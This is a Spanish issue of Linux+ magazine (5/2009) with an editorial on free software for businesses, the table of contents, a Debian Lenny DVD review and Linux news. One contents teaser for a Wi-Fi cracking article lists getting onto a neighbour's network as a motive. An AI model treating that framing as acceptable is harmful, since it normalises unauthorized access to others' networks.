a modo de introducción Software libre, ¿lo mejor para la crisis? Software libre, ¿lo mejor para la crisis? ¡ Hola a todos! Después de casi un año de silencio vuelvo a este trabajo duro de escribir editoriales. Aunque os parezca que es algo fácil escribir unas frases sobre el contenido del número actual, no siempre es así. Si cada mes escribiera lo mismo, nadie leería esta página y aunque os parezca lo contrario existe un pequeño porcentaje de los lectores que sí lo hacen. Y para estos seres determinados tengo que exprimir mi mente para sacar las ideas frescas. Uff, que después de un día de trabajo puede resultar algo agotador... Pero no exageremos y vayamos al grano. Empecemos por el tema central de este número. Soluciones para empresas es el tema que hemos elegido porque dada la situación económica en la que nos encontramos muchas empresas se ven forzadas a hacer los recortes presupuestarios y buscan las mejores maneras para ahorrar dinero. En vez de reducir el número de los empleados (que es el método más fácil pero seguramente no es bueno para el desarrollo de la empresa a largo plazo), muchas empresas están valorando la posibilidad de apostar por el software libre y de esta manera bajar sus gastos. Aunque el paso radical de Windows a Linux en la empresa implica gastos adicionales como el entrenamiento de los empleados, el soporte, etc., el ahorro final puede resultar muy satisfactorio. Según la encuesta que hemos publicado en nuestra web hace algún tiempo la razón principal para usar software libre en el campo laboral es la cuestión económica. La accesibilidad y diversidad de las aplicaciones son los factores siguientes. Por todas estas razones hemos preparado una serie de artículos para acercaros a este tema. A las personas que tienen su propia empresa o trabajan en una que aprovecha soluciones libres, las informaciones recogidas en este número seguramente les resultarán muy útiles. Pero no sólo con el trabajo vive uno. Hay que encontrar tiempo para las aficiones también. Por esto, otro artículo que me gustaría recomendaros, sobre todo a las personas que programan o aprenden a programar en Gambas, está relacionado con lo que siempre asociamos con diversión: los juegos. Es la tercera parte de nuestro ciclo dedicado a programación en Gambas y esta vez el autor nos enseña cómo crear un juego en este lenguaje de programación. Espero lo aprovechéis para aprender cosas prácticas y divertiros a la vez. A todas las personas que se interesan por los temas relacionados con seguridad informática y hacking las invitamos a nuestra nueva sección, Hacking para linuxeros en la que en este mes encontraréis el artículo Cracking Wi-Fi que os ayudará comprobar si vuestra red está en peligro de ser crackeada. Espero que gracias a esta serie de artículos aprenderéis cómo defenderos de los hackers que quieran aprovecharse de vuestros datos. Por último una vez más queríamos animaros a que compartáis vuestras ideas y experiencias en nuestro foro: http://foro-es.lpmagazine.org/, seguramente encontraréis temas y discusiones interesantes para tomar parte en ellas, esperamos también vuestros comentarios acerca de los números actuales de Linux+. ¡Qué aprovechéis este número! Buena lectura y hasta la próxima vez. Paulina Pyrowicz Redactora Jefe de Linux+ www.lpmagazine.org índice En este número 38 descripción de DVD 6 Debian 5.0 Lenny Yaiza Temprado Rodríguez En los últimos años, los proyectos de software libre han abandonado el entorno universitario y se han ido introduciendo paulatinamente en el mundo empresarial. Sin embargo, aún hay muchas empresas que, o bien por desconocimiento o por recelo, aún no se han atrevido a dar “el salto”. En este artículo se analiza la situación actual del software libre en las empresas y su nivel de implantación, así como los pros y los contras que supone para una empresa migrar sus sistemas a software libre. Miguel Telleria de Esteban novedades 12 16 17 Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito? Noticias Alex Sandoval Ubuntu Francisco Javier Carazo Gil Fedora Diego Rivero Montes soluciones para empresas 18 Máquinas virtuales: Una alternativa para PYMES Daniel García Con este artículo podrá aprender el concepto de máquina virtual, en qué se basan, su funcionamiento y cómo instalar, compilar y configurar su propia red a base de máquinas. El único requisito es disponer de un PC y ganas de aprender. Para una correcta explicación de todo el entorno de pruebas es necesario instalar un sistema base en una máquina virtual. Por ello también se explicará, paso a paso, este proceso. El sistema a instalar será la distribución GNU/Linux: Debian. 32 48 José B. Alos Alquézar Uno de los grandes problemas existentes en la industria es el mantenimiento de sistemas informáticos debido a la obsolescencia de componentes. Quizás el caso más paradigmático sucede en la industria aeronáutica, en la que, los proyectos a largo plazo de un mínimo de quince años tropiezan con el handicap de que los sistemas utilizados para el desarrollo de software empotrado no se pueden cambiar con la frecuencia que sería deseable. Google Search Appliance Miguel Sempere Google es el buscador de contenidos más importante a nivel mundial, perteneciente a Google Inc. y fundado por Larry Page y Sergey Brin (dos estudiantes de doctorado en Ciencias de la Computación de la Universidad de Stanford) hace ya más de 10 años. Rehosting de sistemas VAX/OpenVMS en sistemas GNU/Linux Linux+ 5/2009 índice Tema del número Soluciones para empresas programación conocimiento libre 58 80 Creando un Juego en Gambas Jorge Emanuel Capurro En esta entrega, nos propondremos a crear un juego en Gambas: el famoso JackPot o Tragamonedas. Estudiaremos la lógica de este juego, como así también los conceptos nuevos que necesitamos para poder desarrollarlo. Dejemonos un poco de hablar y... ¡comencemos a programar! Más allá del Conocimiento Libre: Liberando y Compartiendo Ideas José Carlos Cortizo Pérez Por lo general hablamos de liberar código, en referencia al Software Libre, o liberar trabajos y/o contenidos, en referencia al amplísimo campo del Conocimiento Libre. Sin embargo, existen movimientos que tratan de ir más allá de los contenidos en si mismos, llevando la idea de la libertad al intangible mundo de las ideas. En este artículo hablaremos de algunas iniciativas en esta línea que le dan una interesante vuelta de tuerca al mundo del Conocimiento Libre. hacking para linuxeros 68 Cracking Wifi al completo David Puente Castro (Blackngel) ¿Deseas comprobar si la red WiFi que tienes montada en tu casa es realmente segura? ¿En tu escuela saben que eres un hacha en esto de la informática y te han pedido que realices una auditoría de su red inalámbrica? ¿O simplemente no puedes costearte una conexión ADSL puesto que tus recursos son limitados y tienes la suerte de tener a tu alcance la red wireless que tu vecino ha instalado hace apenas unos meses? entrevista 86 Entrevista a Jordi Bufí (Co-Fundador de Neurotic) Jordi Bufí es un “informático metido a emprendedor” desde el año 2003, cuando junto a Carlos Rincón fundó Neurotic, una empresa tecnológica dedicada a ofrecer soluciones Web y consultoría de Drupal. En Septiembre de 2008, Jordi anunciaba en su blog la liberación bajo licencia Creative Commons del plan de empresa de un proyecto muy interesante en el que habían estado trabajando Carlos y él durante bastante tiempo. En esta entrevista profundizaremos sobre la liberación del plan de empresa y la relación de Neurotic con el Software Libre. 88 Entrevista a Aurora Garal (co-fundadora y CEO de WorthIdea) WorthIdea es una plataforma global que permite a las personas comunicar todas las ideas originales que tengan, generando interesantes conversaciones entre distintas personas y agentes, o incluso obteniendo remuneración económica por las ideas que realmente aportan valor. En este número entrevistamos a Aurora Garal, co-fundadora y actual CEO del proyecto. www.lpmagazine.org descripción de DVD DVD Debian 5.0 Lenny E l 14 de Febrero, los enamorados del Software Libre tuvimos una razón más para celebrar el día de San Valentín: la publicación de la versión estable de Debian, llamada Debian Lenny. Con este hito el proyecto Debian cierra una de sus ciclos de desarrollo más exitosos y abre otro nuevo, el comienzo de la siguiente versión: Debian Squeeze. La cultura e historia de Debian Quien considere a Debian sólamente como un mero conjunto de paquetes y las herramientas para gestionarlos se pierde la mayor parte del cuadro. Desde su creación, hace 16 años, Debian es la distribución pionera en el desarrollo comunitario, definiendo unas pautas y regulaciones que la gobiernan (constitución y el contrato social). Estas reglas de funcionamiento, basadas en el voluntariado, la transparencia, adherencia al software libre, diálogo, votaciones y libertad tanto de ataduras de tiempo como de intereses económicos, han hecho que muchos desarrolladores con talento se hayan sentido atraídos a contribuir y popularizó la distribución entre los LUGs y asociaciones linuxeras de todo el mundo. Mientras otras distribuciones (tipicamente RedHat, SuSE y Mandrake) publicitaban sus entregas como “productos terminados y listos para su uso inmediato”, Debian tomó la opción de distribuir una instalación minimalista pero con un avanzado sistema de paquetes para poder facilmente personalizarla a su entorno. De esta manera Debian se adapta a una gran gama de plataformas tanto en potencia de cálculo (desde pequeños o antiguos ordenadores hasta supermáquinas) como en diferentes arquitecturas de procesadores hardware (x86, PowerPC, ARM, Itanium, Sparc...). En cuanto a la configuración, Debian desplaza la función de los típicos asistentes centraliza- dos a enclaves en el sistema de paquetes para que cada paquete incluya su propio sistema de interacción con el usuario y gestione sus propias opciones. Todo esto ha hecho de este sistema de paquetes durante mucho tiempo la más potente de las distrubuciones existentes (dejando a parte Gentoo que ofrece aún más opciones al poder personalizar la compilación). Con el tiempo, el modelo de Debian ha ido triunfando y se ha exportado a otras distribuciones mayores. De esta forma Red Hat y SuSE/Novell crearon sus versiones comunitarias, Fedora en 2003, openSuSE en 2004 y Mandriva abrió el Mandriva Club al público a principios del año pasado. En cuanto a sistemas de empaquetado, el RPM de base que usan RedHat, SuSE y Mandriva ha sido extendido en cada una de ellas a YUM, Zipper y URPMI respectivamente dando capacidades de gestionar dependencias, repositorios propios y opciones de configuración. También la instalación minimalista de Debian ha evolucionado. Con la inclusión en 2005 del instalador de Debian (Debian Installer o D-I para los amigos) se llevó la potencia de los paquetes al propio instalador simplificando muchos pasos que antes había que dar manualmente. Aunque por defecto sigue instalando un sistema base basado en consola, la instalación de un entorno de escritorio Gnome, KDE u otro es mucho más sencilla y accesible a todo el mundo. Contribuir a Debian no es difícil, pero para llegar a convertirse en un desarrollador oficial pleno se ha de pasar un largo proceso de prueba puramente basado en la “meritocracia” donde se testean no sólo aspectos técnicos sino también de familiarización con la filosofía del proyecto. En cualquier caso todos los desarrolladores y colabores realizan su tarea como voluntarios sin ninguna remuneración directa. En la actualidad Debian continua siendo un referente, siendo de las distribuciones que más atención presta a las licencias y aspectos legales del software libre a la vez que mantiene unos altos niveles de calidad sobre una gran cantidad de paquetes. Debian: 3 distribuciones en 3 ramas Para aprovecharse bien de las ventajas de Debian hay que conocer y comprender como se crean las diferentes versiones de su distribución. Como toda distribución de GNU/Linux, Debian no es la autora del software que distribuye sino que lo recoge de los desarrolladores originales (OpenOffice, Apache...), denominándose versiones río arriba o upstream. Estas versiones se empaquetan añadiéndoles arreglos de fallos y correcciones para seguir las normas estándares de Debian (sincronizándose lo máximo posible con los ya mencionados desarrolladores upstream). Estos paquetes ya se instalan de forma uniforme en el sistema. Sólo cuando en Debian consideran que el conjunto de la distribución mantiene unos niveles aceptables de calidad medido por los fallos (bugs ) abiertos en su sistema de seguimiento de fallos (bug tracking system o BTS) consideran el ciclo terminado y publican la versión como finalizada. Este proceso suele llevar unos 2 años, periodo durante el cual la última versión publicada acaba quedándose obsoleta respecto a las muchas novedades que se generan en el software libre. Para paliar este problema, el proyecto Debian ofrece siempre a los usuarios elegir entre tres distribuciones en tres ramas. • • Figura 1. Debian Lenny Linux+ 5/2009 La versión finalizada en la rama estable (stable): Esta versión, que fue probada y corregida durante todo el ciclo anterior, es la que se recomienda para máquinas en producción o cualquier entorno crítico. Los paquetes de esta rama nunca cambiarán de versión ni tendrán nueva funcionalidad añadida (salvo cuando se pase de un ciclo a otro), las únicas actualizaciones salen para corregir fallos de seguridad. A cambio se garantiza una estabilidad de hierro en el sistema y un estricto seguimiento de la aparición de vulnerabilidades. descripción de DVD DVD De esta forma antes del 14 de febrero la correspondencia rama versión era: • • • stable – Debian Etch testing – Debian Lenny unstable – Debian Sid mientras que a partir de dicha fecha la correspondencia es y seguramente seguirá siendo por muchos meses: • • • Figura 2. Particionado con el debian installer • • • La versión del ciclo actual en la rama de test (testing): En esta rama los paquetes van llegando de la rama inestable, generalmente automáticamente, después de haber pasado allí un mínimo tiempo de testeo y con la condición de que tanto ellos, como sus dependencias, no tengan un número importante de fallos reportados sin corregir (pero alguno siempre suele quedar). En esta rama se mantiene siempre un sistema coherente y más o menos actualizado con las versiones originales upstream. La rama de test es una posible alternativa para tener un sistema de trabajo funcional y moderno pero con las siguientes contraprestaciones: – Los paquetes aún pueden tener fallos abiertos importantes. – No todos los programas están en las versiones modernas, a veces un fallo importante en una librería puede bloquear un proyecto entero para pasar de la rama inestable a la rama de test. Debian es más conservativa que la mayoría de las distribuciones en cuanto a la estabilidad se refiere. – Durante un mismo ciclo de desarrollo se harán bastantes transiciones de subsistemas grandes (ej. nuevas versiones de escritorios, o de intérpretes como PERL o Python...). Las transiciones de estas versiones requieren a veces unas intervenciones manuales para volver a dejar el sistema funcionando. • • • • • • • • – El soporte de actualizaciones de seguridad existe (sobre todo al final del ciclo) pero no es de la misma calidad que en la rama estable. Version Debian Sid en la Rama inestable (unstable): en esta rama se reciben nuevas versiones ya sea directamente del desarrollador upstream o del repositorio experimental donde se realizan las pruebas “más arriesgadas”. Los paquetes de esta rama garantizan que en sí solos compilan y ejecutan, pero en cambio puede haber incompatibilidades entre unos nuevos paquetes y otros antiguos o existir varias versiones de los mismos. El mantenimiento de un sistema 100 % funcional en esta rama es algo laborioso y requiere familiarizarse con mecanismos especiales del sistema de paquetes (desactivar actualizaciones de algunos paquetes, mezclar versiones de otras ramas o forzar algunos pasos no muy ortodoxos). Por lo tanto no se recomienda para sistemas de producción (más que nada por la sobrecarga que conlleva el tenerla siempre funcional). Sin embargo esta rama cumple varias funciones importantes: Es la rama donde se desarrolla verdaderamente la evolución de la distribución. Si queréis Permite al usuario disfrutar de las ultimas funcionalidades del software libre manteniéndose dentro de la propia distribución. ¡ Se aprende mucho sobre Debian y Linux usando esta rama ! www.lpmagazine.org stable – Debian Lenny testing – Debian Squeeze unstable – Debian Sid (ésta no cambia) Por estas fechas en muchos lugares del mundo máquinas en producción que se mantienen en la rama estable estarán haciendo la única transición importante en los ultimos 2 años: pasar de Etch a Lenny, proceso que forma parte de las pruebas de la rama testing. También hay que hacer notar que no todo es blanco o negro. Debian permite mezclar paquetes de ramas diferentes o importar de otros proyectos como Ubuntu. Lo normal es tener casi todo proveniente de una misma rama salvo algunos paquetes backportados (esto es reconstruidos a partir de las fuentes de otra rama más avanzada) desde ramas más avanzadas o de repositorios no oficiales. Debian y Ubuntu, una simbiosis perfecta El lento proceso de publicación, junto a algunas ferreas restricciones de legalidad hacen que Debian siempre haya sido ligeramente ardua de usar sobre todo para el usuario novel. Por otro lado la transparencia y gran disponibilidad del código que ofrece Debian facilita el sacar distribuciones derivadas. Varios intentos surgieron para hacer una Debian gran público con instaladores gráficos y una buena personalización para un usuario de escritorio. Pero allí donde otros fracasaron (entre ellos su fundador Ian Murdock con Progeny), Mark Shuttleworth, millonario gracias a Thawte, turista espacial y... antiguo desarrollador de Debian, triunfó creando la distribución Ubuntu en Octubre del 2004, en plena crisis Debianista por el largo retardo en la publicación de la versión Sarge (llevó 3 años). En cuanto a modelo de trabajo, Ubuntu se diferenció de sus predecesoras (Progeny, Libranet...) en cuatro cosas: • Alimentarse de la versión inestable, en vez de las otras versiones que partían de la versión estable ya finalizada. descripción de DVD DVD • • • Hacer ciclos de publicaciones más cortos sincronizándose con proyectos como Gnome y ocupándose sólo de un número reducido de paquetes claves para el sistema de escritorio (el resto de los paquetes sigue estando disponible en repositorios • como universe que proviene de la rama inestable de Debian). Seguir el mismo modelo abierto que Debian, abriendo sus repositorios, creando un sistema de gestor de fallos y un mon- • tón de herramientas en su excelente forja launchpad.net. Y no menos importante... contratando mediante su empresa Canonical a gente importante de Debian dándoles un sueldo para que trabajasen en Ubuntu pero permitiéndoles también el trabajar con Debian. Sin embargo con Ubuntu el desarrollo de Debian también se ha visto beneficiado, puesto que ha permitido a Debian ver como nuevos paquetes, sobre todo de escritorio se iban comportando en una release final. Las publicaciones siguientes a Sarge (Etch y ahora Lenny) han sido mucho más sencillas de hacer. Además es bastante sencillo reconstruir un paquete de una distribución en la otra ya que utilizan el mismo sistema y nomemclatura de paquetes. Diferencias entre Debian y Ubuntu La distribución estable de Debian tiene una garantía de funcionamiento mayor al elegir versiones de software más maduras. • • • • Por otro lado usuarios de Ubuntu encontrarán las siguientes pequeñas diferencias en Debian respecto a lo que están acostum- • brados. Firefox y Thunderbird renombrados a Iceweasel y Icedove. Esto es así por un conflicto entre Debian y la Mozilla Foundation que sigue sin resolverse en dos puntos: • Yo citaría las siguientes ventajas de Debian sobre Ubuntu: • • Por ejemplo Debian Lenny viene con el Network Manager (gestor automático de conexiones de red) 0.6 mientras que Ubuntu Intrepid ya se atrevió con la 0.7 creando problemas para IP’s estáticas). Debian da un servicio completo de calidad a todos sus paquetes (mientras tengan licencia libre) mientras que Ubuntu sólo da soporte oficial de Canonical al subconjunto del repositorio main. Debian es la única que se preocupa de ofrecer CD’s o DVD’s de descarga para toda su distribución. Ubuntu sólo ofrece 1 CD básico para cada versión Ubuntu (Ubuntu, Kubuntu, Edubuntu, Xubuntu...). Aunque esto es cada vez menos necesario dado el creciente acceso a la banda ancha, sigue siendo importante o incluso imprescindible en entornos cerrados o sin acceso permanente o de calidad a internet. El artwork (iconos, banners...) que Debian quiere retocar pero que Mozilla no lo permite manteniendo el mismo nombre del programa. El deseo de Debian de dar soporte a una misma versión proveyendo actualizaciones de seguridad mientras que Mozilla quiere • maximizar la actualización a nuevas versiones. Sin embargo el código fuente es el mismo y los plugins de Firefox y thunderbird funcionan también perfectamente en las versiones de Debian. En sentido estricto los debianistas pensamos que Ubuntu también debería haber renombrado sus paquetes, pero ellos decidieron no hacerlo para no confundir al usuario final. Debian no utiliza sudo por defecto. Hay que definirse una contraseña de root en el momento de la instalación y cualquier aplicación de administración gráfica pedirá esa contraseña en vez de la del usuario con permisos sudo. Ausencia de drivers no libres (como los de las tarjetas gráficas nVidia y ATI). Fiel a sus principios, Debian recomienda usar los equivalentes (aunque a veces menos funcionales) drivers libres nv y ati, o en el peor de los casos el universal vesa. Si se quiere instalar los drivers propietarios, existen páginas en la web que te enseñan como hacerlo facilmente. Falta de paquetes con soporte para MP3 o codecs propietarios. Ya sea por temas de no libertad, problemas de patentes de software (o ambos) algunos formatos como el MP3 o ciertos codecs no están plenamente soportados en los repositorios oficiales de Debian. Sin embargo existe otro repositorio de larga tradición que siempre los ha tenido, el Debian Multimedia de Christian Marillat. NOTA: Para evitarse problemas, lo mejor es utilizar los formatos de audio y video Ogg lo máximo posible. KDE4 no ha sido admitido aún siquiera en la versión inestable de Debian (mientras que Ubuntu Intrepid ya lo trae por defecto en sus versiones de Kubuntu). Quien quiera usar KDE4 en Debian tiene que tomarlo del repositorio experimental. Aspectos nuevos de Debian Lenny Para entender el estado de modernidad de una distribución no hay que fijarse en su fecha de publicación sino en su fecha de congelado la cual ocurre en los ultimos meses del ciclo de desarrollo. Debian Lenny fue congelada en Septiembre del 2008 y desde entonces todas las actualizaciones fueron para corregir fallos existentes. Esto quiere decir que está más o menos a la par que Ubuntu Intrepid 8.10 en cuanto a versiones de software. Merece la pena leerse las notas de publicación, sobre todo el segundo capítulo, para ver Figura 3. Escritorio GNOME Linux+ 5/2009 descripción de DVD DVD Si no puedes leer el disco DVD y no notas ningún tipo de deterioro mecánico, por favor, pruébalo en al menos dos unidades de disco diferentes. 5/2009 www.lpmagazine.org En caso de problemas, escribir a: [email protected] descripción de DVD DVD lo que tenemos disponible. Para hacernos una Instalación idea aquí van las versiones de los paquetes más La instalación de Debian Lenny es muy senconocidos. cilla y se puede realizar desde varias fuentes (CD, Pendrive USB, desde red...) o incluso versiones mixtas. Yo recomiendo bajarse un • Kernel 2.6.26 primer CD completo, instalarse el sistema • Gnome 2.22 desde dicho CD y después ir tirando de pa• KDE 3.5.10 quetes de internet. • LXDE 0.3.2 Si optamos por esta opción los pasos • XFCE 4.4.2 serían: • OpenOffice 2.4.1 • Iceweasel (Firefox) 3.0.5 • Seleccionar cual de los 3 CD’s de instala• Icedove (thunderbird) 2.0.0.19 ción bajarse. Por defecto (el CD1) instala • GIMP 2.4.7 Gnome, pero también hay versiones para • Apache 2.2.9 KDE y para XFCE/LXDE. En cualquier • PERL 5.8.8 caso todos los paquetes se encuentran en • Python 2.5.2 los repositorios o en los otros 31 CD’s del • PHP 5.2.6 sistema. • MySQL 5.0.51a • Al arrancar elegir entre el instalador • PostgreSQL 8.3.5 gráfico (que instalará un sistema comple• Exim 4.69 to hasta el escritorio) o el instalador de • Postfix 2.5.5 texto (que instalará un sistema de base de • GCC 4.3.2 línea de comando). Por otra lado Debian Lenny también trae las • Realizar el particionamiento manual con siguientes novedades (respecto a versiones cuidado eligiendo una partición para el anteriores): sistema y otra para el home. • Definir la contraseña de root y un usuario aparte. • Unos paquetes especiales (Debian Pure Blend) para los miniportátiles Asus EEE. • Dejar que el sistema base termine de instalarse. • Soporte para cross-compilación en sistemas embarcados ARM con EmDebian. • Instalar gestor de arranque • Un entorno para generar distribuciones live (autocontenidas en CD’s o pendrives USB). Al arrancar se obtendrá un sistema como el de • SELinux (un sistema para ampliar el sis- la Figura 2 (para el caso de Gnome). tema de permisos de Linux con ACLs) ahora se instala por defecto aunque hay Webs y recursos de ayuda que activarlo expresamente para usarlo. Debian tiene sus herramientas particulares: • Soporte para el sistema de virtualización OpenVZ/Linux Vserver. Además de los ya • Sistema de seguimiento de fallos: presentes (Xen, KVM, Qemu...). http://bugs.debian.org. Sobre el autor Miguel Telleria de Esteban trabaja en la Universidad de Cantabria (Santader, España) como investigador en sistemas de tiempo real. Además participa y colabora con los LUGs (http://linuca.org) de la región de Cantabria y http://bxlug.be de la región de Bruselas (Bélgica). Lleva usando Debian y Ubuntu desde hace 7 años. • • Además de esto existen muchas recetas en http:// debian-administration.org y mucha de la documentación que veáis sobre ubuntu os puede valer. No olvidéis tampoco vuestro LUG local para cualquier ayuda. Conclusión Debian Lenny es una distribución muy funcional que lleva acumulado todo el saber de Linux y de Debian de varios años. Es una buena alternativa a la Ubuntu LTS ya que se dispone de un soporte de largo tiempo y el sistema ha sido bien testeado para su estabilidad. Por otro lado Debian ofrece otras ramas desde donde importar versiones de paquetes más avanzadas. En la red • • • • • • • Figura 4. Procedimiento de instalación del driver propietario nvidia 10 Linux+ 5/2009 Base de datos de paquetes: http://packages.debian.org. Listas de correo de soporte y discusión: http://lists.debian.org. Constitución de Debian: http://www.debian.org/devel/ constitution, Contrato social de Debian y DFSG: http://debian.org/social contract, Fallo launchpad 259214 opciones de la conexión de cable perdidas después de un re-arranque: https://bugs.launchpad.net/bugs/ 259214, Notas de release de debian lenny: http://www.debian.org/releases/ stable/i386/release-notes/ index.es.html, Procedimiento de instalación del driver propietarios nvidia: http://forums.debian.net/ viewtopic.php?t=28381, Repositorio de christian marillat: http://debian-multimedia.org/, Soporte de debian para asus eee: http://debian-eeepc.alioth.debian.org/. NE WS novedades Noticias sección llevada por Alex Sandoval [email protected] Asia y América en 2010 En 2010 la implantación del software libre llegará a un 70% aproximadamente. Prueba de ello son los resultados de un estudio publicado por María Dolores Gallego, Salvador Bueno (ambos de la Universidad Pablo de Olavide) y Paula Luna (Universidad de Sevilla) en la revista Technological Forecasting & Social Change, que apuntan que en 2010 la adopción de software libre en América del Sur y Asia se situará próximo al 70%. Según este estudio, la flexibilidad y la calidad son las variables que más influencian al usuario a la hora de elegir. Los investigadores cierran el artículo con una recomendación a la administración pública, porque quien está poniendo realmente interés a la difusión es ella... las claves para el fomento de este tipo de herramientas se encentran en estos resultados, buscando fundamentalmente la flexibilidad. Gobierno alemán destina 500 millones de euros al Software Libre Después que el gobierno británico demostrara que el software libre es mejor para sus contribuyentes y, a partir de ahí, desarrollara un plan de acción para impulsarlo, otros gobiernos europeos parecen estar tomando nota y montando otros planes para apoyar el Software Libre. En concreto, el gobierno alemán acaba de decidir destinar 500 millones de euros al programa Open Source and Green IT, un programa dedicado a la estabilidad y crecimiento de las herramientas de Software Libre, tecnologías "green" y soluciones de seguridad informática para objetivos gubernamentales. http://softlibre.barrapunto.com/softlibre/09/ 03/06/1142214.shtml Zypper permitirá actualizar openSUSE al estilo de dist-upgrade Con la introducción de zypper en openSUSE, una herramienta muy superior a YOU (YaST Online Update) y ZLM, los chicos del proyecto openSUSE desean ofrecer a los usuarios la posibilidad de actualizar la distro completa al estilo de dist-upgrade en Debian. Esta nueva característica podría ser un gran impacto para los usuarios, empresas y departamentos TI que utilizan openSUSE, ya que permitiría actualizar de forma muy simple una instalación existente a la versión más actualizada. Esta es la única característica competitiva significativa de Debian/Ubuntu que le faltaba a openSUSE. Planean ofrecer esta funcionalidad desde openSUSE 11.2, y solo permitirá actualizar desde la versión 11.1, ya que es un gran desafio. El equipo del proyecto también aspiran a realizar actualizaciones incrementales, primero de 11.1 a 11.2 y luego de 11.x a 12.0. Espero que todo le salga bien a los chicos del proyecto openSUSE, y podamos actualizar nuestra instalación a la manera debianita. http://microteknologias.wordpress.com/ 2009/03/04/zypper-permitira-actualizaropensuse-al-estilo-de-dist-upgrade/ 12 World of Goo en el mundo de Tux P ara ser parte de la industria de desarrollo de videojuegos se debe contar con enormes cantidades de dinero y recursos para competir con los grandes de la industria, condiciones comparables a las que se encuentran en la industria cinematográfica. Atrás quedaron los tiempos en que divertidos juegos eran creados con mucho ingenio y esfuerzo personal, cuando sólo bastaba un computador, las ganas de programar y divertirse al mismo tiempo. Y es que hoy desarrollar juegos ya no es tan divertido como antes, incluso se sabe de grandes fabricantes que han sido demandados por sus malas condiciones de trabajo. En este contexto aparece 2D Boy, un par de indie developers que dejaron las filas de Electronic Arts para volver a trabajar como se hacía antes pero con la tecnología de hoy. Su plan es desarrollar juegos originales en donde la diversión es el factor predominante, y lo han logrado con su primera entrega : World of Goo. En pocas palabras, World of Goo es un juego de ingenio con una gran dosis de física. El jugador debe controlar a los “goo’s”, unos personajes en forma de bolita que tienen distintas habilidades, y los debe ordenar para construir todo tipo de arquitecturas de tal forma que se logre el objetivo de cada etapa. El concepto es simple pero altamente adictivo debido a sus ingeniosos niveles, divertida música, excelentes gráficos y buenos toques de humor. Pero eso no es todo, ya que los muchachos de 2D Boys se la jugaron, y sin conformarse con tener esta versión para Wii, Windows y Mac, han desarrollado una versión para Linux. En sus propias palabras: Las estadísticas de nuestro blog nos dicen que cerca del 5% de nuestros visitantes usan Linux, asi que no estábamos seguros si habría mucho interés de la comunidad Linux o no. ¿Los usua- Este juego trata sobre unas bolitas (al parecer de petroleo) llamadas los “goo’s”, que tienen diferentes habilidades, y que se tienen que organizar para construir diversas estructuras con el fin de lograr el objetivo en cada etapa Linux+ 5/2009 ros de Linux juegan? Puede ser. ¿Es sólo un problema del huevo y la gallina donde los usuarios de Linux jugarían más si más gente hace versiones de sus juegos para Linux? Nuestra desición de hacer que World of Goo estuviera disponible para Linux no tenía mayor discusión ¡Porque los juegos DEBEN estar disponibles para Linux! La versión para Linux está disponible en los tres formatos más conocidos : tar.gz, .deb y .rpm. En FayerWayer Labs(tm) hemos probado la versión .deb del demo en Ubuntu 8.10 y después de un simple doble click sobre el paquete descargado, funciona a la perfección en modo full screen, con una experiencia limpia, tal como correr un juego nativo tipo FrozenBubble con esteroides. Si el juego no hubiese sido tan bueno, usted ya habría leido este artículo. En el día de lanzamiento de World of Goo para Linux, las ventas para esta plataforma generaron un aumento en el 40% de lo que ya tenían. Es la respuesta de la comunidad a la apuesta de 2D Boy, y reconocen que han visto un mercado en el mundo del pinguino también. Lo que no se vió En la versión para Linux tuvieron que enfrentar algunas dificultades técnicas, una de ellas fue una batalla frente a PulseAudio que viene por omisión en las distribuciones populares como Ubuntu. PulseAudio provocaba un poco de retardo en el audio, algo que no sería problema para la mayoría de las aplicaciones pero puede ser crítico para un juego, en donde audio y video deben sentirse perfectamente sincronizados. Al final pudieron lograrlo pero les tomó un esfuerzo adicional. Sin temor a ser criticados declaran que en Windows no tuvieron este tipo de problemas. Otra crítica constructiva que hacen es que Linux está construido por gente muy inteligente, pero al mismo tiempo de una linea bastante dura. Hay una gran cantidad de buenas ideas, pero para los desarrolladores es complejo poder abarcarlas todas, por ejemplo los sitemas de audio/video o los formatos de paquetes. Para ellos sería más sencillo si no existieran tantas opciones. Algo a destacar es que pudieron incorporar a la comunidad en parte del desarrollo y los resultados fueron mejores de lo que esperaban. Sabíamos desde el principio que queríamos que nuestro juego estuviera disponible para cualquiera, independiente de la plataforma. Además teníamos el deseo secreto de ver surgir las ideas de apertura que están detrás de Linux. Conocimos a la persona que hizo nuestro port de linux novedades sección llevada por Alex Sandoval [email protected] Noticias porque el era un fan que había creado un wiki para traducir nuestro juego en una gran cantidad de lengujes. Quedamos sorprendidos - las traducciones de nuestra comunidad eran de una calidad superior a las que recibimos de servicios de traducción pagados. Los aportes fueron tan buenos y rápidos, que decidimos usar la traducción de la comunidad para nuestro release euro- peo de la versión de Wii. Incluso nos ayudaron a hacer el beta test de cada lenguaje. World of Goo está disponible para descarga desde el sitio de 2D Boy en sus versiones de Windows, Mac y Linux, tanto el demo como la versión completa, y para Nintendo Wii se encuentra a través de WiiWare. http://www.fayerwayer.com/2009/02/world-ofgoo-en-el-mundo-de-tux/ MSI Winki, la vía rápida a Internet con Linux E l productor mundial de placas madre y tarjetas gráficas, MSI International, siempre se ha dedicado no sólo a la producción de buenos productos, sino también al desarrollo de cualquier avance que aumente la conveniencia y facilidad de uso de sus clientes. Esta vez, MSI ha anunciado oficialmente la creación de un nuevo dispositivo interactivo en Internet que no necesita de un sistema operativo instalado en el PC - llamado Winki. Es un pequeño dispositivo con una gran variedad de funciones: navegación web, comunicación inmediata, llamadas por VOIP, búsqueda de fotos y algunas otras funciones más comunes. Todo es accesible al iniciar Winki y en un instante el mundo en línea está al alcance del usuario. Winki tiene como base a Linux, pero gracias a los investigadores de MSI, este nuevo dispositivo de Internet revolucionará lo que la mayoría de las personas piensan de Linux. Todas las instalaciones y la configuración han sido simplificadas y hecho más sencillas, mediante una simple conexión USB integrada en la placa madre y unos pocos ajustes al sistema, se puede comenzar a tomar ventaja de esta pequeña y cómoda herramienta. Con soporte para 15 idiomas, este dispositivo se adapta a cualquier usuario en el mundo. Sin embargo, las principales características de Winki al compararlo con otros sistemas operativos son: la rápida velocidad de arranque, un menor consumo eléctrico, sin problemas causados por virus, y lo mejor de todo, no costará un centavo a los usuarios. Por cierto, Winki optimiza su funcionalidad agrupando un potente conjunto de solucio- Winki tiene como base a Linux, pero gracias a los investigadores de MSI, este nuevo dispositivo de Internet revolucionará lo que la mayoría de las personas piensan de Linux nes software. Esta suite incluye Mozilla Firefox encargado de la navegación por la web, Skype se encargará de VOIP para llamadas de teléfono, y así otras aplicaciones comunes de modo que los usuarios no tendrán que pasar mucho tiempo aprendiendo nuevos programas. También se debe mencionar la inclusión 